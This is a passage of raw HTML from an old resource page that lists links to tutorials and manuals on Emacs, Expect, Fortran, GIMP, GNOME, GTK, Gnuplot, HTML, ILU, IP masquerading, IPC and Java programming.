href=\"http://www.stars.com/Authoring/DHTML/Intro/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Introduction to Dynamic HTML </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">Emacs</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<a href=\"http://heather.cs.ucdavis.edu/~matloff/UnixAndC/Editors/Emacs.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Emacs: The Software Engineer’s <code class=\"EnlighterJSRAW\"></code> Army Knife” </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.geek-girl.com/emacs/faq/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Emacs FAQ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.gnu.org/manual/elisp-manual-20-2.5/elisp.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GNU Emacs Lisp Reference Manual </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.gnu.org/manual/emacs-lisp-intro/emacs-lisp-intro.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Programming in Emacs Lisp </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.gprep.pvt.k12.md.us/technology/emacs_lesson/emacs_toc.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GNU Emacs Manual </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.lib.uchicago.edu/keith/tcl-course/emacs-tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">A Tutorial Introduction to Emacs </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.linuxgazette.com/issue26/marsden.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">EMACSulation: Internet-ready! </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.linuxgazette.com/issue27/marsden.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">EMACSulation: Ediff – An Emacs interface to diff and patch </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.linuxgazette.com/issue29/marsden.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">EMACSulation: Emacs as a Server </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.linuxgazette.com/issue31/marsden.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">EMACSulation: Customizing Emacs </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.linuxgazette.com/issue35/anderson.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Basic Emacs </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.linuxgazette.com/issue39/marsden.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">EMACSulation: Templating Mechanisms </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.linuxgazette.com/issue47/pedersen.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Emacs Macros and the Power-Macros Package </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue59/2178.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Polyglot Emacs 20.4 </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">Expect</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<a href=\"http://www.linuxgazette.com/issue48/fisher.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Advanced Programming in Expect: A Bulletproof Interface </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue54/3065.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Automating Tasks with Expect </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue68/3357.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">What Can you Expect?–A Data Collection Project Using Linux </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">Fortran</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<a href=\"ftp://ftp.star.le.ac.uk/pub/fortran/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Professional Programmer’s Guide to Fortran 77 </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://csep1.phy.ornl.gov/pl/pl.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Fortran 90 and Computational Science </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://metalab.unc.edu/pub/languages/fortran/unfp.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">User Notes on Fortran Programming </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://noether.vassar.edu/~myers/Fortran.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Fortran Programming for Physics and Astronomy </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.astro.unibas.ch/F90Tutorial/tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">A Fortran 90 Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.delorie.com/gnu/docs/g77/g77_1.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Using GNU Fortran </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.hpctec.mcc.ac.uk/hpctec/courses/Fortran90/F90course.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Fortran 90: A Course for Fortran 77 Programmers </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.nsc.liu.se/f77to90.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Fortran 90 for the Fortran 77 Programmer </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.stanford.edu/class/sccm001/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Introduction to Fortran </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">GIMP</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<a href=\"http://empyrean.lib.ndsu.nodak.edu/~nem/gimp/tuts/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GIMP Tutorial Index </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://imagic.weizmann.ac.il/~dov/gimp/perl-tut.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">A Tutorial for Perl GIMP Users </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://imagic.weizmann.ac.il/~dov/gimp/scheme-tut.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">A Scheme Tutorial for GIMP Users </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://jgo.local.net/GimpGuide/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GIMP Guide </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://manual.gimp.org/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The GIMP User Manual </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.linuxfocus.org/English/July2000/article113.shtml\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Pseudo 3-D with GIMP </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.linuxfocus.org/English/March1998/article9.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Graphical Photocomposition with GIMP </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.linuxfocus.org/English/May1998/article10.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Creating Text with the GIMP </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.linuxfocus.org/English/November1999/article112.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Creating Fire Effects with the GIMP </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.linuxfocus.org/English/articles/article28.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Creating and Editing Animations with GIMP </span></a><br/>\n<a href=\"http://www.linuxgazette.com/issue51/mauerer.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GIMP-Perl: GIMP Scripting for the Rest of Us </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.oberlin.edu/~kturner/gimp/doc/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Writing a GIMP Plugin </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.rru.com/~meo/gimp/Tutorial/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GIMP: The RRU Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.rru.com/~meo/gimp/faq-user.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GIMP User FAQ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.soulfry.com/script-fu/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Script-Fu Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue43/2388.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Quick Start Guide to the GIMP, Part 1 </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue44/2530.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Quick Start Guide to the GIMP, Part 2 </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue45/2531.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Quick Start Guide to the GIMP, Part 3 </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue46/2532.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Quick Start Guide to the GIMP, Part 4 </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">GNOME</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<a href=\"http://developer.gnome.org/doc/tutorials/gnome-libs/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Application Programming Using the GNOME Libraries </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www-4.ibm.com/software/developer/library/gnome-programming/indexhtml\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Part 1: Everything You Need to Get Started </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www-4.ibm.com/software/developer/library/gnome2/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Part 2: Building a Sample Genealogy Program </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www-4.ibm.com/software/developer/library/gnome3/?dwzone=linux\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Part 3: Adding File Saving and Loading Using libxml </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www-4.ibm.com/software/developer/library/gnome4/index.html?dwzone=linux\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Creating GTK+ Widgets with GOB: An Easier Way to Derive New GTK+ Widgets </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www-4.ibm.com/software/developer/library/gnome5/index.html?dwzone=linux\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Handling Multipel Documents: Using the GnomeMDI Framework </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www-4.ibm.com/software/developer/library/gnomenclature/index.html?dwzone=linux\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Livening Things Up: Graphics Made Easy Using the GNOME Canvas </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.linuxfocus.org/English/July2000/article160.shtml\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Developing Gnome Applications with Python – Part 1 </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">GTK</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<a href=\"http://developer.gnome.org/doc/API/gdk/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GDK Reference Manual </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://developer.gnome.org/doc/API/glib/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GLib Reference Manual </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://developer.gnome.org/doc/API/gtk/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GTK+ Reference Manual </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.gtk.org/docs/gtk_toc.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The GIMP Toolkit </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.gtk.org/faq/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GTK+ FAQ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.gtk.org/tutorial/gtk_tut.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GTK V1.2 Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.gtk.org/~otaylor/gtk/tutorial/drawing_tut.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Drawing and Event Handling in GTK </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue47/2465.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">An Introduction to the GIMP Tool Kit </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">Gnuplot</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<a href=\"http://www-cgi.cs.cmu.edu/afs/cs.cmu.edu/user/baraff/www/pbm/constraints.pdf\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Constrained Dynamics </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www-cgi.cs.cmu.edu/afs/cs.cmu.edu/user/baraff/www/pbm/continuators.pdf\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Continuum Dynamics </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www-cgi.cs.cmu.edu/afs/cs.cmu.edu/user/baraff/www/pbm/diffyq.pdf\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Differential Equation Basics </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www-cgi.cs.cmu.edu/afs/cs.cmu.edu/user/baraff/www/pbm/energons.pdf\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Energy Functions and Stiffness </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www-cgi.cs.cmu.edu/afs/cs.cmu.edu/user/baraff/www/pbm/particles.pdf\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Particle System Dynamics </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www-cgi.cs.cmu.edu/afs/cs.cmu.edu/user/baraff/www/pbm/pbm.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">An Introduction to Physically Based Modeling </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www-cgi.cs.cmu.edu/afs/cs.cmu.edu/user/baraff/www/pbm/rigid1.pdf\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Rigid Body Dynamics I </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www-cgi.cs.cmu.edu/afs/cs.cmu.edu/user/baraff/www/pbm/rigid2.pdf\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Rigid Body Dynamics II </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.cc.gatech.edu/scivis/tutorial/tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Scientific Visualization Tutorials </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.eng.hawaii.edu/Tutor/Gnuplot/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Gnuplot – An Interactive Plotting Program </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.webreference.com/dev/gifanim/tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">GIF Animation Tutorial </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">HTML</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<a href=\"http://www.charm.net/~lejeune/tables.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">HTML Table Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.informit.com/product/0789708124/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">HTML by Example </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.informit.com/product/1562764969/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">How to Use HTML 3.2 </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.kasparius.com/nonflash/tutorial/tut1.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Creating a Client-Side Image Map </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.ncsa.uiuc.edu/General/Training/AdvHTML/course.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Advanced HTML: How to Create Complex Multimedia Documents for the Web </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.ncsa.uiuc.edu/General/Training/HTMLIntro/Intro.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The ABCs of HTML </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.sharkysoft.com/tutorials/frames/contents.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Sharky’s Netscape Frames Tutorial </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">ILU</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<a href=\"ftp://ftp.parc.xerox.com/pub/ilu/2.0b1/manual-html/manual_toc.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">ILU Reference Manual </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"ftp://ftp.parc.xerox.com/pub/ilu/misc/tutc.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Using ILU with ANSI C: A Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"ftp://ftp.parc.xerox.com/pub/ilu/misc/tutjava.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Using ILU with Java: A Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"ftp://ftp.parc.xerox.com/pub/ilu/misc/tutpython.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Using ILU with Python: A Tutorial </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">IP-Masquerading</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<a href=\"http://www.linux-mag.com/1999-05/bestdefense_01.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">ipchains: Packet Filtering for Linux 2.2 </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.linux-mag.com/1999-08/guru_01.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Setting Up IP Masquerade </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.linuxfocus.org/English/May2000/article151.shtml\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Setting Up IP-Masquerading </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.linuxplanet.com/linuxplanet/tutorials/1241/1/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Ipchains: Easy Links to the Net </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.linuxplanet.com/linuxplanet/tutorials/2100/1/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Linux Networking Using Ipchains </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">IPC</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<a href=\"http://winter.cs.umn.edu/~bentlem/aunix/advipc/ipc.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Advanced 4.4BSD Interpprocess Communication Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.actcom.co.il/~choo/lupg/tutorials/multi-process/multi-process.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">UNIX Multi-Process Programming and IPC </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">Java</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<a href=\"http://developer.java.sun.com/developer/onlineTraining/Beans/EJBTutorial/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Enterprise JavaBeans Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://developer.java.sun.com/developer/onlineTraining/Beans/JBShortCourse/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">JavaBeans Short Course </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://developer.java.sun.com/developer/onlineTraining/Beans/JBeansAPI/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Introduction to the JavaBeans API </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://developer.java.sun.com/developer/onlineTraining/Database/JDBCShortCourse/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">JDBC Short Course </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://developer.java.sun.com/developer/onlineTraining/Programming/BasicJava1/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Essentials of the Java Programming Language, Part 1 </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://developer.java.sun.com/developer/onlineTraining/Programming/BasicJava2/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Essentials of the Java Programming Language, Part 2 </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://developer.java.sun.com/developer/onlineTraining/Programming/JDCBook/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Writing Advanced Applications for the Java Platform </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://developer.java.sun.com/developer/onlineTraining/Security/Fundamentals/abstract.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Fundamentals of Java Security </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://developer.java.sun.com/developer/onlineTraining/Servlets/Fundamentals/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Fundamentals of Java Servlets </span></a><span style=\"text-decoration: 